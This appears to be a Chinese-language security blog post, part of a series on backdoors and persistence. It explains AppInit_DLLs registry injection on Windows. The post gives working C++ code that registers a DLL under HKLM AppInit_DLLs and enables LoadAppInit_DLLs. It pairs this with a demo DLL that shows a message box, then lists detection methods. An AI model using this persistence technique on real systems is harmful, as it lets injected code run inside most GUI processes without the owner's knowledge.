後門及持久化訪問3----進程注入之AppInit_DLLs註冊表項

進程注入之AppInit_DLLs註冊表項

User32.dll被加載到進程時,會獲取AppInit_DLLs註冊表項,若有值,則調用LoadLibrary() API加載用戶DLL。只會影響加載了user32.dll的進程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代碼如下:


#include 
#include 
using namespace std;

int test()
{
	HKEY hKey;
	DWORD dwDisposition;
	const char path[] = "C:\\dll.dll";
	DWORD dwData = 1;
	RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
	RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
	RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
	return 0;
}

int main()
{
	test();
	//system("pause");
	return 0;
}

復現過程

將以上代碼編譯爲exe文件,放到測試機運行會產生一下注冊項
修改過後如下圖所示:

dll代碼如下:


// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
	MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

運行cmd.exe,就會發現cmd.exe已經加載指定dll,並彈框。

此註冊表項下的每個庫都會加載到每個加載User32.dll的進程中。User32.dll是一個非常常見的庫,用於存儲對話框等圖形元素。惡意軟件可以在Appinit_Dlls註冊表項下插入其惡意庫的位置,以使另一個進程加載其庫。因此,當惡意軟件修改此子鍵時,大多數進程將加載惡意庫。

檢查及清除方法

  • 監測加載User32.dll的進程的dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。
  • 監視AppInit_DLLs註冊表值。
  • 監視和分析註冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章